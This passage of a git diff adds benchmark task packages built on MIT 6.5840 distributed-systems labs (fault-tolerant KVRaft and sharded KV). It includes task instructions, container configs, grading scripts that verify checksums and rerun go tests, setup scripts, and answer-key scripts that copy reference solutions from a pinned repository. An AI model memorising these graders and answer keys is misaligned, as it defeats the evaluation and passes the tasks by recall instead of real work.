+You'll also need to implement `Put()`, `Append()`, and `Get()` RPC handlers in `server.go`. These handlers should enter an `Op` in the Raft log using `Start()`; you should fill in the `Op` struct definition in `server.go` so that it describes a Put/Append/Get operation. Each server should execute `Op` commands as Raft commits them, i.e. as they appear on the `applyCh`. An RPC handler should notice when Raft commits its `Op`, and then reply to the RPC. + +You have completed this task when you **reliably** pass the first test in the test suite: "One client". + +#### Hints + +- After calling `Start()`, your kvservers will need to wait for Raft to complete agreement. Commands that have been agreed upon arrive on the `applyCh`. Your code will need to keep reading `applyCh` while `Put()`, `Append()`, and `Get()` handlers submit commands to the Raft log using `Start()`. Beware of deadlock between the kvserver and its Raft library. +- A kvserver should not complete a `Get()` RPC if it is not part of a majority (so that it does not serve stale data). A simple solution is to enter every `Get()` (as well as each `Put()` and `Append()`) in the Raft log. You don't have to implement the optimization for read-only operations that is described in Section 8. +- You should not need to add any fields to to the Raft `ApplyMsg`, or to Raft RPCs such as `AppendEntries`, but you are allowed to do so. +- It's best to add locking from the start because the need to avoid deadlocks sometimes affects overall code design. Check that your code is race-free using `go test -race`. + +Now you should modify your solution to continue in the face of network and server failures. One problem you'll face is that a `Clerk` may have to send an RPC multiple times until it finds a kvserver that replies positively. If a leader fails just after committing an entry to the Raft log, the `Clerk` may not receive a reply, and thus may re-send the request to another leader. Each call to `Clerk.Put()` or `Clerk.Append()` should result in just a single execution, so you will have to ensure that the re-send doesn't result in the servers executing the request twice. + +#### Task + +Add code to handle failures, and to cope with duplicate `Clerk` requests, including situations where the `Clerk` sends a request to a kvserver leader in one term, times out waiting for a reply, and re-sends the request to a new leader in another term. The request should execute just once. Your code should pass the `go test -run 4A` tests. + +#### Hints + +- Your solution needs to handle a leader that has called Start() for a Clerk's RPC, but loses its leadership before the request is committed to the log. In this case you should arrange for the Clerk to re-send the request to other servers until it finds the new leader. One way to do this is for the server to detect that it has lost leadership, by noticing that Raft's term has changed or a different request has appeared at the index returned by Start(). If the ex-leader is partitioned by itself, it won't know about new leaders; but any client in the same partition won't be able to talk to a new leader either, so it's OK in this case for the server and client to wait indefinitely until the partition heals. +- You will probably have to modify your Clerk to remember which server turned out to be the leader for the last RPC, and send the next RPC to that server first. This will avoid wasting time searching for the leader on every RPC, which may help you pass some of the tests quickly enough. +- You should use a duplicate detection scheme similar to Lab 2. It should free server memory quickly, for example by having each RPC imply that the client has seen the reply for its previous RPC. It's OK to assume that a client will make only one call into a Clerk at a time. You may find that you need to make changes to what information you store in your duplicate detection table from Lab 2. + +Your code should now pass the Lab 4A tests, like this: + +```sh +$ go test -run 4A +Test: one client (4A) ... +... Passed -- 15.5 5 4576 903 +Test: ops complete fast enough (4A) ... +... Passed -- 15.7 3 3022 0 +Test: many clients (4A) ... +... Passed -- 15.9 5 5884 1160 +Test: unreliable net, many clients (4A) ... +... Passed -- 19.2 5 3083 441 +Test: concurrent append to same key, unreliable (4A) ... +... Passed -- 2.5 3 218 52 +Test: progress in majority (4A) ... +... Passed -- 1.7 5 103 2 +Test: no progress in minority (4A) ... +... Passed -- 1.0 5 102 3 +Test: completion after heal (4A) ... +... Passed -- 1.2 5 70 3 +Test: partitions, one client (4A) ... +... Passed -- 23.8 5 4501 765 +Test: partitions, many clients (4A) ... +... Passed -- 23.5 5 5692 974 +Test: restarts, one client (4A) ... +... Passed -- 22.2 5 4721 908 +Test: restarts, many clients (4A) ... +... Passed -- 22.5 5 5490 1033 +Test: unreliable net, restarts, many clients (4A) ... +... Passed -- 26.5 5 3532 474 +Test: restarts, partitions, many clients (4A) ... +... Passed -- 29.7 5 6122 1060 +Test: unreliable net, restarts, partitions, many clients (4A) ... +... Passed -- 32.9 5 2967 317 +Test: unreliable net, restarts, partitions, random keys, many clients (4A) ... +... Passed -- 35.0 7 8249 746 +PASS +ok kvraft 290.184s +``` + +The numbers after each `Passed` are real time in seconds, number of peers, number of RPCs sent (including client RPCs), and number of key/value operations executed (`Clerk` Get/Put/Append calls). + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/kvraft/client.go` +- `src/kvraft/common.go` +- `src/kvraft/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/config.json new file mode 100644 index 00000000..308a3d74 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/config.json @@ -0,0 +1,11 @@ +{ + "instance_id": "mit_6_5840_2024__kvraft_4b", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "key-value-store", "fault-tolerance"], + "artifacts": [ + "src/kvraft/client.go", + "src/kvraft/common.go", + "src/kvraft/server.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/evaluate.sh new file mode 100755 index 00000000..69a5baf6 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/evaluate.sh @@ -0,0 +1,52 @@ +#!/bin/bash +set -e + +echo "=== Evaluating KVRaft Lab 4B ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "kvraft/config.go" + "kvraft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running KVRaft 4B tests (up to 3 attempts to handle timeouts)" +cd kvraft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 4B 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/preprocess.sh new file mode 100644 index 00000000..2d11938e --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/preprocess.sh @@ -0,0 +1,69 @@ +#!/bin/bash +set -e + +echo "=== Setting up KVRaft Lab 4B ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +echo "Cloning reference solutions" +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/reference-solutions > /dev/null 2>&1 +git -C /tmp/reference-solutions checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a > /dev/null 2>&1 + +echo "Copying starter files from reference solutions" +cp -r /tmp/reference-solutions/src/mr src/ +cp -r /tmp/reference-solutions/src/kvsrv src/ +cp -r /tmp/reference-solutions/src/raft src/ + +echo "Cleaning up reference solutions" +rm -rf /tmp/reference-solutions + +cd src + +echo "Verifying starter files were copied correctly" +STARTER_FILES=( + "raft/raft.go" + "kvsrv/server.go" + "mr/coordinator.go" +) +for file in "${STARTER_FILES[@]}"; do + if [ ! -f "$file" ]; then + echo "ERROR: Starter file $file not found after copy" + exit 1 + fi + echo " ✓ $file" +done + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "kvraft/config.go" + "kvraft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Agent should implement:" +echo " - src/kvraft/client.go" +echo " - src/kvraft/common.go" +echo " - src/kvraft/server.go" + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/sol.sh new file mode 100644 index 00000000..39abac49 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/sol.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/kvraft/client.go src/kvraft/client.go +cp /tmp/mit-solution/src/kvraft/common.go src/kvraft/common.go +cp /tmp/mit-solution/src/kvraft/server.go src/kvraft/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/task.md new file mode 100644 index 00000000..f54e1abe --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4b_kvraft/task.md @@ -0,0 +1,173 @@ +# Fault-tolerant Key/Value Service + +### Introduction + +In this lab you will build a fault-tolerant key/value storage service using your Raft library from Lab 3. Your key/value service will be a replicated state machine, consisting of several key/value servers that each maintain a database of key/value pairs, as in Lab 2, but additionally use Raft for replication. Your key/value service should continue to process client requests as long as a majority of the servers are alive and can communicate, in spite of other failures or network partitions. + +Clients will interact with your key/value service in much the same way as Lab 2. In particular, clients can send three different RPCs to the key/value service: + +- `Put(key, value)`: replaces the value for a particular key in the database +- `Append(key, arg)`: appends arg to key's value (treating the existing value as an empty string if the key is non-existent) +- `Get(key)`: fetches the current value of the key (returning the empty string for non-existent keys) + +Keys and values are strings. Note that unlike in Lab 2, neither `Put` nor `Append` should return a value to the client. Each client talks to the service through a `Clerk` with Put/Append/Get methods. The `Clerk` manages RPC interactions with the servers. + +Your service must arrange that application calls to `Clerk` Get/Put/Append methods be linearizable. If called one at a time, the Get/Put/Append methods should act as if the system had only one copy of its state, and each call should observe the modifications to the state implied by the preceding sequence of calls. For concurrent calls, the return values and final state must be the same as if the operations had executed one at a time in some order. Calls are concurrent if they overlap in time: for example, if client X calls `Clerk.Put()`, and client Y calls `Clerk.Append()`, and then client X's call returns. A call must observe the effects of all calls that have completed before the call starts. + +Providing linearizability is relatively easy for a single server. It is harder if the service is replicated, since all servers must choose the same execution order for concurrent requests, must avoid replying to clients using state that isn't up to date, and must recover their state after a failure in a way that preserves all acknowledged client updates. + +This lab has two parts. In part A, you will implement a replicated key/value service using your Raft implementation, but without using snapshots. In part B, you will use your snapshot implementation from Lab 3D, which will allow Raft to discard old log entries. Please submit each part by the respective deadline. + +You should review the extended Raft paper, in particular Sections 7 and 8. For a wider perspective, have a look at Chubby, Paxos Made Live, Spanner, Zookeeper, Harp, Viewstamped Replication, and Bolosky et al. + +Start early. + +### Getting Started + +We supply you with skeleton code and tests in `src/kvraft`. You will need to modify `kvraft/client.go`, `kvraft/server.go`, and perhaps `kvraft/common.go`. + +To get up and running, execute the following commands: + +```sh +$ cd src/kvraft +$ go test +... +$ +``` + +### Part A: Key/value service without snapshots ("moderate/hard") + +Each of your key/value servers ("kvservers") will have an associated Raft peer. Clerks send `Put()`, `Append()`, and `Get()` RPCs to the kvserver whose associated Raft is the leader. The kvserver code submits the Put/Append/Get operation to Raft, so that the Raft log holds a sequence of Put/Append/Get operations. All of the kvservers execute operations from the Raft log in order, applying the operations to their key/value databases; the intent is for the servers to maintain identical replicas of the key/value database. + +A `Clerk` sometimes doesn't know which kvserver is the Raft leader. If the `Clerk` sends an RPC to the wrong kvserver, or if it cannot reach the kvserver, the `Clerk` should re-try by sending to a different kvserver. If the key/value service commits the operation to its Raft log (and hence applies the operation to the key/value state machine), the leader reports the result to the `Clerk` by responding to its RPC. If the operation failed to commit (for example, if the leader was replaced), the server reports an error, and the `Clerk` retries with a different server. + +Your kvservers should not directly communicate; they should only interact with each other through Raft. + +#### Task + +Your first task is to implement a solution that works when there are no dropped messages, and no failed servers. + +Feel free to copy over your client code from Lab 2 (`kvsrv/client.go`) into `kvraft/client.go`. You will need to add logic for deciding which kvserver to send each RPC to. Recall that `Append()` no longer returns a value to the Clerk. + +You'll also need to implement `Put()`, `Append()`, and `Get()` RPC handlers in `server.go`. These handlers should enter an `Op` in the Raft log using `Start()`; you should fill in the `Op` struct definition in `server.go` so that it describes a Put/Append/Get operation. Each server should execute `Op` commands as Raft commits them, i.e. as they appear on the `applyCh`. An RPC handler should notice when Raft commits its `Op`, and then reply to the RPC. + +You have completed this task when you **reliably** pass the first test in the test suite: "One client". + +#### Hints + +- After calling `Start()`, your kvservers will need to wait for Raft to complete agreement. Commands that have been agreed upon arrive on the `applyCh`. Your code will need to keep reading `applyCh` while `Put()`, `Append()`, and `Get()` handlers submit commands to the Raft log using `Start()`. Beware of deadlock between the kvserver and its Raft library. +- A kvserver should not complete a `Get()` RPC if it is not part of a majority (so that it does not serve stale data). A simple solution is to enter every `Get()` (as well as each `Put()` and `Append()`) in the Raft log. You don't have to implement the optimization for read-only operations that is described in Section 8. +- You should not need to add any fields to to the Raft `ApplyMsg`, or to Raft RPCs such as `AppendEntries`, but you are allowed to do so. +- It's best to add locking from the start because the need to avoid deadlocks sometimes affects overall code design. Check that your code is race-free using `go test -race`. + +Now you should modify your solution to continue in the face of network and server failures. One problem you'll face is that a `Clerk` may have to send an RPC multiple times until it finds a kvserver that replies positively. If a leader fails just after committing an entry to the Raft log, the `Clerk` may not receive a reply, and thus may re-send the request to another leader. Each call to `Clerk.Put()` or `Clerk.Append()` should result in just a single execution, so you will have to ensure that the re-send doesn't result in the servers executing the request twice. + +#### Task + +Add code to handle failures, and to cope with duplicate `Clerk` requests, including situations where the `Clerk` sends a request to a kvserver leader in one term, times out waiting for a reply, and re-sends the request to a new leader in another term. The request should execute just once. Your code should pass the `go test -run 4A` tests. + +#### Hints + +- Your solution needs to handle a leader that has called Start() for a Clerk's RPC, but loses its leadership before the request is committed to the log. In this case you should arrange for the Clerk to re-send the request to other servers until it finds the new leader. One way to do this is for the server to detect that it has lost leadership, by noticing that Raft's term has changed or a different request has appeared at the index returned by Start(). If the ex-leader is partitioned by itself, it won't know about new leaders; but any client in the same partition won't be able to talk to a new leader either, so it's OK in this case for the server and client to wait indefinitely until the partition heals. +- You will probably have to modify your Clerk to remember which server turned out to be the leader for the last RPC, and send the next RPC to that server first. This will avoid wasting time searching for the leader on every RPC, which may help you pass some of the tests quickly enough. +- You should use a duplicate detection scheme similar to Lab 2. It should free server memory quickly, for example by having each RPC imply that the client has seen the reply for its previous RPC. It's OK to assume that a client will make only one call into a Clerk at a time. You may find that you need to make changes to what information you store in your duplicate detection table from Lab 2. + +Your code should now pass the Lab 4A tests, like this: + +```sh +$ go test -run 4A +Test: one client (4A) ... +... Passed -- 15.5 5 4576 903 +Test: ops complete fast enough (4A) ... +... Passed -- 15.7 3 3022 0 +Test: many clients (4A) ... +... Passed -- 15.9 5 5884 1160 +Test: unreliable net, many clients (4A) ... +... Passed -- 19.2 5 3083 441 +Test: concurrent append to same key, unreliable (4A) ... +... Passed -- 2.5 3 218 52 +Test: progress in majority (4A) ... +... Passed -- 1.7 5 103 2 +Test: no progress in minority (4A) ... +... Passed -- 1.0 5 102 3 +Test: completion after heal (4A) ... +... Passed -- 1.2 5 70 3 +Test: partitions, one client (4A) ... +... Passed -- 23.8 5 4501 765 +Test: partitions, many clients (4A) ... +... Passed -- 23.5 5 5692 974 +Test: restarts, one client (4A) ... +... Passed -- 22.2 5 4721 908 +Test: restarts, many clients (4A) ... +... Passed -- 22.5 5 5490 1033 +Test: unreliable net, restarts, many clients (4A) ... +... Passed -- 26.5 5 3532 474 +Test: restarts, partitions, many clients (4A) ... +... Passed -- 29.7 5 6122 1060 +Test: unreliable net, restarts, partitions, many clients (4A) ... +... Passed -- 32.9 5 2967 317 +Test: unreliable net, restarts, partitions, random keys, many clients (4A) ... +... Passed -- 35.0 7 8249 746 +PASS +ok kvraft 290.184s +``` + +The numbers after each `Passed` are real time in seconds, number of peers, number of RPCs sent (including client RPCs), and number of key/value operations executed (`Clerk` Get/Put/Append calls). + +### Part B: Key/value service with snapshots ("hard") + +As things stand now, your key/value server doesn't call your Raft library's `Snapshot()` method, so a rebooting server has to replay the complete persisted Raft log in order to restore its state. Now you'll modify kvserver to cooperate with Raft to save log space, and reduce restart time, using Raft's `Snapshot()` from Lab 3D. + +The tester passes `maxraftstate` to your `StartKVServer()`. `maxraftstate` indicates the maximum allowed size of your persistent Raft state in bytes (including the log, but not including snapshots). You should compare `maxraftstate` to `persister.RaftStateSize()`. Whenever your key/value server detects that the Raft state size is approaching this threshold, it should save a snapshot by calling Raft's `Snapshot`. If `maxraftstate` is -1, you do not have to snapshot. `maxraftstate` applies to the GOB-encoded bytes your Raft passes as the first argument to to `persister.Save()`. + +#### Task + +Modify your kvserver so that it detects when the persisted Raft state grows too large, and then hands a snapshot to Raft. When a kvserver server restarts, it should read the snapshot from `persister` and restore its state from the snapshot. + +#### Hints + +- Think about when a kvserver should snapshot its state and what should be included in the snapshot. Raft stores each snapshot in the persister object using `Save()`, along with corresponding Raft state. You can read the latest stored snapshot using `ReadSnapshot()`. +- Your kvserver must be able to detect duplicated operations in the log across checkpoints, so any state you are using to detect them must be included in the snapshots. +- Capitalize all fields of structures stored in the snapshot. +- You may have bugs in your Raft library that this lab exposes. If you make changes to your Raft implementation make sure it continues to pass all of the Lab 3 tests. +- A reasonable amount of time to take for the Lab 4 tests is 400 seconds of real time and 700 seconds of CPU time. Further, `go test -run TestSnapshotSize` should take less than 20 seconds of real time. + +Your code should pass the 4B tests (as in the example here) as well as the 4A tests (and your Raft must continue to pass the Lab 3 tests). + +```sh +$ go test -run 4B +Test: InstallSnapshot RPC (4B) ... +... Passed -- 4.0 3 289 63 +Test: snapshot size is reasonable (4B) ... +... Passed -- 2.6 3 2418 800 +Test: ops complete fast enough (4B) ... +... Passed -- 3.2 3 3025 0 +Test: restarts, snapshots, one client (4B) ... +... Passed -- 21.9 5 29266 5820 +Test: restarts, snapshots, many clients (4B) ... +... Passed -- 21.5 5 33115 6420 +Test: unreliable net, snapshots, many clients (4B) ... +... Passed -- 17.4 5 3233 482 +Test: unreliable net, restarts, snapshots, many clients (4B) ... +... Passed -- 22.7 5 3337 471 +Test: unreliable net, restarts, partitions, snapshots, many clients (4B) ... +... Passed -- 30.4 5 2725 274 +Test: unreliable net, restarts, partitions, snapshots, random keys, many clients (4B) ... +... Passed -- 37.7 7 8378 681 +PASS +ok kvraft 161.538s +``` + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/kvraft/client.go` +- `src/kvraft/common.go` +- `src/kvraft/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/config.json new file mode 100644 index 00000000..a748b839 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/config.json @@ -0,0 +1,14 @@ +{ + "instance_id": "mit_6_5840_2024__shardkv_5a", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 40, + "tags": ["distributed-systems", "go", "sharding", "key-value-store", "raft"], + "artifacts": [ + "src/shardctrler/client.go", + "src/shardctrler/common.go", + "src/shardctrler/server.go", + "src/shardkv/client.go", + "src/shardkv/common.go", + "src/shardkv/server.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/evaluate.sh new file mode 100755 index 00000000..e8354b89 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/evaluate.sh @@ -0,0 +1,78 @@ +#!/bin/bash +set -e + +echo "=== Evaluating ShardKV Lab 5A ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "shardctrler/config.go:config.go.src_shardctrler.sha256" + "shardctrler/test_test.go:test_test.go.src_shardctrler.sha256" + "shardkv/config.go:config.go.src_shardkv.sha256" + "shardkv/test_test.go:test_test.go.src_shardkv.sha256" +) + +for entry in "${PROTECTED_FILES[@]}"; do + file="${entry%%:*}" + checksum_name="${entry##*:}" + if [ -f "$file" ] && [ -f "/tmp/checksums/${checksum_name}" ]; then + if ! sha256sum -c "/tmp/checksums/${checksum_name}" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running ShardCtrler tests (up to 3 attempts)" +cd shardctrler + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "ShardCtrler attempt $attempt of $MAX_ATTEMPTS" + + if go test 2>&1 | tee shardctrler_output.txt; then + if grep -q "PASS" shardctrler_output.txt && ! grep -q "FAIL" shardctrler_output.txt; then + echo "ShardCtrler tests passed" + break + fi + fi + + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "ShardCtrler tests failed, retrying..." + rm -f shardctrler_output.txt + sleep 2 + else + echo "FAIL: ShardCtrler tests failed after $MAX_ATTEMPTS attempts" + exit 1 + fi +done + +echo "Running ShardKV 5A tests (up to 3 attempts)" +cd ../shardkv + +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "ShardKV 5A attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 5A 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/preprocess.sh new file mode 100644 index 00000000..8295581f --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/preprocess.sh @@ -0,0 +1,77 @@ +#!/bin/bash +set -e + +echo "=== Setting up ShardKV Lab 5A ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +echo "Cloning reference solutions" +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/reference-solutions > /dev/null 2>&1 +git -C /tmp/reference-solutions checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a > /dev/null 2>&1 + +echo "Copying starter files from reference solutions" +cp -r /tmp/reference-solutions/src/mr src/ +cp -r /tmp/reference-solutions/src/kvsrv src/ +cp -r /tmp/reference-solutions/src/raft src/ +cp -r /tmp/reference-solutions/src/kvraft src/ + +echo "Cleaning up reference solutions" +rm -rf /tmp/reference-solutions + +cd src + +echo "Verifying starter files were copied correctly" +STARTER_FILES=( + "raft/raft.go" + "kvraft/server.go" + "kvsrv/server.go" + "mr/coordinator.go" +) +for file in "${STARTER_FILES[@]}"; do + if [ ! -f "$file" ]; then + echo "ERROR: Starter file $file not found after copy" + exit 1 + fi + echo " ✓ $file" +done + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "shardctrler/config.go" + "shardctrler/test_test.go" + "shardkv/config.go" + "shardkv/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + checksum_name="$(basename $file).$(dirname $file | tr '/' '_').sha256" + sha256sum "$file" > "/tmp/checksums/$checksum_name" + echo " Protected: $file" + fi +done + +echo "Agent should implement:" +echo " - src/shardctrler/client.go" +echo " - src/shardctrler/common.go" +echo " - src/shardctrler/server.go" +echo " - src/shardkv/client.go" +echo " - src/shardkv/common.go" +echo " - src/shardkv/server.go" + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/sol.sh new file mode 100644 index 00000000..f30f367b --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/sol.sh @@ -0,0 +1,14 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/shardctrler/client.go src/shardctrler/client.go +cp /tmp/mit-solution/src/shardctrler/common.go src/shardctrler/common.go +cp /tmp/mit-solution/src/shardctrler/server.go src/shardctrler/server.go +cp /tmp/mit-solution/src/shardkv/client.go src/shardkv/client.go +cp /tmp/mit-solution/src/shardkv/common.go src/shardkv/common.go +cp /tmp/mit-solution/src/shardkv/server.go src/shardkv/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/task.md new file mode 100644 index 00000000..a7e1fc6d --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_5a_shardkv/task.md @@ -0,0 +1,133 @@ +# Sharded Key/Value Service + +### Introduction + +In this lab you'll build a key/value storage system that "shards," or partitions, the keys over a set of replica groups. A shard is a subset of the key/value pairs; for example, all the keys starting with "a" might be one shard, all the keys starting with "b" another, etc. The reason for sharding is performance. Each replica group handles puts and gets for just a few of the shards, and the groups operate in parallel; thus total system throughput (puts and gets per unit time) increases in proportion to the number of groups. + +Your sharded key/value store will have two main components. First, a set of replica groups. Each replica group is responsible for a subset of the shards, using Raft replication. The second component is the "shard controller". The shard controller decides which replica group should serve each shard; this information is called the configuration. The configuration changes over time. Clients consult the shard controller in order to find the replica group for a key, and replica groups consult the controller in order to find out what shards to serve. There is a single shard controller for the whole system, implemented as a fault-tolerant service using Raft. + +A sharded storage system must be able to shift shards among replica groups. One reason is that some groups may become more loaded than others, so that shards need to be moved to balance the load. Another reason is that replica groups may join and leave the system: new replica groups may be added to increase capacity, or existing replica groups may be taken offline for repair or retirement. + +The main challenge in this lab will be handling reconfiguration -- changes in the assignment of shards to groups. Within a single replica group, all group members must agree on when a reconfiguration occurs relative to client Put/Append/Get requests. For example, a Put may arrive at about the same time as a reconfiguration that causes the replica group to stop being responsible for the shard holding the Put's key. All replicas in the group must agree on whether the Put occurred before or after the reconfiguration. If before, the Put should take effect and the new owner of the shard will see its effect; if after, the Put won't take effect and client must re-try at the new owner. The recommended approach is to have each replica group use Raft to log not just the sequence of Puts, Appends, and Gets but also the sequence of reconfigurations. You will need to ensure that at most one replica group is serving requests for each shard at any one time. + +Reconfiguration also requires interaction among the replica groups. For example, in configuration 10 group G1 may be responsible for shard S1. In configuration 11, group G2 may be responsible for shard S1. During the reconfiguration from 10 to 11, G1 and G2 must use RPC to move the contents of shard S1 (the key/value pairs) from G1 to G2. + +- Note: Only RPC may be used for interaction among clients and servers. For example, different instances of your server are not allowed to share Go variables or files. +- Note: This lab uses "configuration" to refer to the assignment of shards to replica groups. This is not the same as Raft cluster membership changes. You don't have to implement Raft cluster membership changes. + +This lab's general architecture (a configuration service and a set of replica groups) follows the same general pattern as Flat Datacenter Storage, BigTable, Spanner, FAWN, Apache HBase, Rosebud, Spinnaker, and many others. These systems differ in many details from this lab, though, and are also 